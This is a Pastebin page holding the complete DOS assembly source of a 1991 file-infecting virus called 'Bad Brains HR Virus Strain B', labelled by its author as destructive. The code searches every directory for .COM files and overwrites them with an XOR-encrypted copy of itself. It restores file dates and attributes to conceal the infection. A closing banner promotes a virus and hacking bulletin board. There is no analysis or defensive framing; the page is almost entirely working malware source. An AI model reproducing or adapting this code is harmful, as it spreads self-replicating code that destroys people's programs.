Advertisement
InfectedPacket

Bad Brains HR Virus Strain B-Compacted Virus (1991)

Aug 7th, 2015
262
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ; HR Virus Strain B-Compacted
  2. ; Bad Brains
  3. ; Created 8/5/91 by Hellraiser
  4. ; Destructive Code - Beware!
  5.  
  6. fileattr   EQU      21
  7. filetime   EQU      22
  8. filedate   EQU      24
  9. filename   EQU      30
  10.  
  11. virus_size EQU      554
  12. code_start EQU      0100h
  13.  
  14. code     segment  'code'
  15. assume   cs:code,ds:code,es:code
  16.          org      code_start
  17.  
  18. main proc   near
  19.  
  20. jmp    virus_start
  21.  
  22. encrypt_val    dw     0000h
  23.  
  24. virus_start:
  25.  
  26.      call     encrypt                  ;encrypt/decrypt file
  27.      jmp      virus                    ;go to start of code
  28.  
  29. encrypt:
  30.  
  31.      push     cx
  32.      mov      cx,offset virus_code+virus_size
  33.      mov      si,offset virus_code     ;start encryption at data
  34.      mov      di,si
  35.      cld
  36.  
  37. xor_loop:
  38.  
  39.      lodsw
  40.      xor      ax,encrypt_val           ;get encryption key
  41.      stosw
  42.      dec      cx
  43.      jcxz     stoppa
  44.      jmp      xor_loop
  45.  
  46. stoppa:
  47.  
  48.      pop      cx
  49.      ret
  50.  
  51. infectfile:
  52.  
  53.      mov     dx,code_start             ;where virus starts in memory
  54.      mov     bx,handle                 ;load bx with handle
  55.      mov     cx,virus_size             ;number of bytes to write
  56.      call    encrypt                   ;encrypt file
  57.      mov     ax,4000h                  ;write to file
  58.      int     21h                       ;
  59.      call    encrypt                   ;fix up the mess
  60.      ret
  61.  
  62. virus_code:
  63.  
  64. vname        db     'SKISM',0
  65. wildcards    db     "*",0              ;search for directory argument
  66. filespec     db     "*.COM",0          ;search for EXE file argument
  67. rootdir      db     "\",0              ;argument for root directory
  68. dirdata      db     43 dup (?)         ;holds directory DTA
  69. filedata     db     43 dup (?)         ;holds files DTA
  70. diskdtaseg   dw     ?                  ;holds disk dta segment
  71. diskdtaofs   dw     ?                  ;holds disk dta offset
  72. tempofs      dw     ?
  73. tempseg      dw     ?
  74. drivecode    db     ?                  ;holds drive code
  75. currentdir   db     64 dup (?)         ;save current directory into this
  76. handle       dw     ?                  ;holds file handle
  77. orig_time    dw     ?
  78. orig_date    dw     ?
  79. orig_attr    dw     ?
  80. idbuffer     dw     2 dup  (?)
  81.  
  82. virus:
  83.  
  84.       mov    ax,3000h                  ;get dos version
  85.       int    21h                       ;
  86.       cmp    al,02h                    ;is it at least 2.00?
  87.       jb     bus                       ;won't infect less than 3.00
  88.       mov    ah,2ch                    ;get time
  89.       int    21h                       ;
  90.       add    dh,cl                     ;add the two registers
  91.       mov    encrypt_val,dx            ;save m_seconds to encrypt val so
  92.                                        ;we have up to 65,535 mutations
  93.  
  94.  
  95. setdta:
  96.  
  97.      mov     dx,offset dirdata         ;offset of where to hold new dta
  98.      mov     ah,1ah                    ;set dta address
  99.      int     21h                       ;
  100.  
  101. newdir:
  102.  
  103.      mov     ah,19h                    ;get drive code
  104.      int     21h                       ;
  105.      mov     dl,al                     ;save drivecode
  106.      inc     dl                        ;add one to dl, because functions differ
  107.      mov     ah,47h                    ;get current directory
  108.      mov     si, offset currentdir     ;buffer to save directory in
  109.      int     21h                       ;
  110.  
  111.      mov     dx,offset rootdir         ;move dx to change to root directory
  112.      mov     ah,3bh                    ;change directory to root
  113.      int     21h                       ;
  114.  
  115. scandirs:
  116.  
  117.      mov     cx,13h                    ;look for directorys
  118.      mov     dx, offset wildcards      ;look for '*'
  119.      mov     ah,4eh                    ;find first file
  120.      int     21h                       ;
  121.      cmp     ax,12h                    ;no first file?
  122.      jne     dirloop                   ;no dirs found? bail out
  123.  
  124. bus:
  125.      jmp     abort
  126.  
  127. copyright  db  'Bad Brains'
  128.  
  129. dirloop:
  130.  
  131.      mov     ah,4fh                    ;find next file
  132.      int     21h                       ;
  133.      cmp     ax,12h
  134.      je      quit                      ;no more dirs found, roll out
  135.  
  136. chdir:
  137.  
  138.      mov     dx,offset dirdata+filename;point dx to fcb - filename
  139.      mov     ah,3bh                    ;change directory
  140.      int     21h                       ;
  141.  
  142.      mov     ah,2fh                    ;get current dta address
  143.      int     21h                       ;
  144.      mov     [diskdtaseg],es           ;save old segment
  145.      mov     [diskdtaofs],bx           ;save old offset
  146.      mov     dx,offset filedata        ;offset of where to hold new dta
  147.      mov     ah,1ah                    ;set dta address
  148.      int     21h                       ;
  149.  
  150. scandir:
  151.  
  152.      mov     cx,07h                    ;find any attribute
  153.      mov     dx,offset filespec        ;point dx to "*.EXE",0
  154.      mov     ah,4eh                    ;find first file function
  155.      int     21h                       ;
  156.      cmp     ax,12h                    ;was file found?
  157.      jne     transform
  158.  
  159. nextexe:
  160.  
  161.      mov     ah,4fh                    ;find next file
  162.      int     21h                       ;
  163.      cmp     ax,12h                    ;none found
  164.      jne     transform                 ;found see what we can do
  165.  
  166.      mov     dx,offset rootdir         ;move dx to change to root directory
  167.      mov     ah,3bh                    ;change directory to root
  168.      int     21h                       ;
  169.      mov     ah,1ah                    ;set dta address
  170.      mov     ds,[diskdtaseg]           ;restore old segment
  171.      mov     dx,[diskdtaofs]           ;restore old offset
  172.      int     21h                       ;
  173.      jmp     dirloop
  174.  
  175. quit:
  176.  
  177.      jmp     rollout
  178.  
  179.  
  180. transform:
  181.  
  182.      mov     ah,2fh                    ;temporally store dta
  183.      int     21h                       ;
  184.      mov     [tempseg],es              ;save old segment
  185.      mov     [tempofs],bx              ;save old offset
  186.      mov     dx, offset filedata + filename
  187.  
  188.      mov     bx,offset filedata               ;save file...
  189.      mov     ax,[bx]+filedate          ;date
  190.      mov     orig_date,ax              ;
  191.      mov     ax,[bx]+filetime          ;time
  192.      mov     orig_time,ax              ;    and
  193.      mov     ax,[bx]+fileattr          ;
  194.      mov     ax,4300h
  195.      int     21h
  196.      mov     orig_attr,cx
  197.      mov     ax,4301h                  ;change attributes
  198.      xor     cx,cx                     ;clear attributes
  199.      int     21h                       ;
  200.      mov     ax,3d00h                  ;open file - read
  201.      int     21h                       ;
  202.      jc      fixup                     ;error - find another file
  203.      mov     handle,ax                 ;save handle
  204.      mov     ah,3fh                    ;read from file
  205.      mov     bx,handle                 ;move handle to bx
  206.      mov     cx,02h                    ;read 2 bytes
  207.      mov     dx,offset idbuffer        ;save to buffer
  208.      int     21h                       ;
  209.  
  210.      mov     ah,3eh                    ;close file for now
  211.      mov     bx,handle                 ;load bx with handle
  212.      int     21h                       ;
  213.  
  214.      mov     bx, idbuffer              ;fill bx with id string
  215.      cmp     bx,03ebh                  ;infected?
  216.      jne     doit                      ;same - find another file
  217.  
  218.  
  219. fixup:
  220.      mov     ah,1ah                    ;set dta address
  221.      mov     ds,[tempseg]              ;restore old segment
  222.      mov     dx,[tempofs]              ;restore old offset
  223.      int     21h                       ;
  224.      jmp     nextexe
  225.  
  226.  
  227. doit:
  228.  
  229.      mov     dx, offset filedata + filename
  230.      mov     ax,3d02h                  ;open file read/write access
  231.      int     21h                       ;
  232.      mov     handle,ax                 ;save handle
  233.  
  234.      call    infectfile
  235.  
  236.      ;mov     ax,3eh                    ;close file
  237.      ;int     21h
  238.  
  239. rollout:
  240.  
  241.      mov     ax,5701h                  ;restore original
  242.      mov     bx,handle                 ;
  243.      mov     cx,orig_time              ;time and
  244.      mov     dx,orig_date              ;date
  245.      int     21h                       ;
  246.  
  247.      mov     ax,4301h                  ;restore original attributes
  248.      mov     cx,orig_attr
  249.      mov     dx,offset filedata + filename
  250.      int     21h
  251.      ;mov     bx,handle
  252.      ;mov     ax,3eh                   ;close file
  253.      ;int     21h
  254.      mov     ah,3bh                    ;try to fix this
  255.      mov     dx,offset rootdir         ;for speed
  256.      int     21h                       ;
  257.      mov     ah,3bh                    ;change directory
  258.      mov     dx,offset currentdir      ;back to original
  259.      int     21h                       ;
  260.  
  261. Abort:
  262.  
  263.      mov     ax,4c00h                  ;end program
  264.      int     21h                       ;
  265.  
  266.  
  267. main     endp
  268. code     ends
  269.          end      main
  270.  
  271. 
  272. ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  273. ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  274. ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
  275. ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement